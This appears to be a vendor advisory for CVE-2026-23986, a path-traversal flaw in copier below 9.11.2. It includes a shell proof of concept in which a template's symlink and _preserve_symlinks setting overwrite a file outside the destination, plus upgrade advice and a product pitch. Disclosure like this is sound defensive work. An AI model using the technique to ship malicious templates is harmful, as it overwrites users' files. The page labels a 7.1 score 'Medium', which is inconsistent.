CVE-2026-23986

Workarounds

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References

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Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use unsafe features like custom Jinja extensions which would require passing the --UNSAFE,--trust flag. As it turns out, a safe template can currently write to arbitrary directories outside the destination path by using directory a symlink along with _preserve_symlinks: true and a generated directory structure whose rendered path is inside the symlinked directory. This way, a malicious template author can create a template that overwrites arbitrary files (according to the user's write permissions), e.g., to cause havoc.

[!NOTE]

At the time of writing, the exploit is non-deterministic, as Copier walks the template's file tree using os.scandir which yields directory entries in arbitrary order.

Reproducible example (may or may not work depending on directory entry yield order):

mkdir other/
pushd other/
echo "sensitive" > sensitive.txt
popd

mkdir src/
pushd src/
ln -s ../other other
echo "overwritten" > "{{ pathjoin('other', 'sensitive.txt') }}.jinja"
echo "_preserve_symlinks: true" > copier.yml
tree .
# .
# ├── copier.yml
# ├── other -> ../other
# └── {{ pathjoin('other', 'sensitive.txt') }}.jinja
#
# 1 directory, 2 files
popd

uvx copier copy --overwrite src/ dst/

cat other/sensitive.txt
# overwritten

CVE-2026-23986 has a CVSS score of 7.1 (Medium). The vector is requires local access, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (9.11.2); upgrading removes the vulnerable code path.

Kodem intelligence

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1. What is CVE-2026-23986? CVE-2026-23986 is a medium-severity security vulnerability in copier (pip), affecting versions < 9.11.2. It is fixed in 9.11.2.
2. How severe is CVE-2026-23986? CVE-2026-23986 has a CVSS score of 7.1 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of copier are affected by CVE-2026-23986? copier (pip) versions < 9.11.2 is affected.
4. Is there a fix for CVE-2026-23986? Yes. CVE-2026-23986 is fixed in 9.11.2. Upgrade to this version or later.
5. Is CVE-2026-23986 exploitable, and should I be worried? Whether CVE-2026-23986 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-23986 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-23986? Upgrade copier to 9.11.2 or later.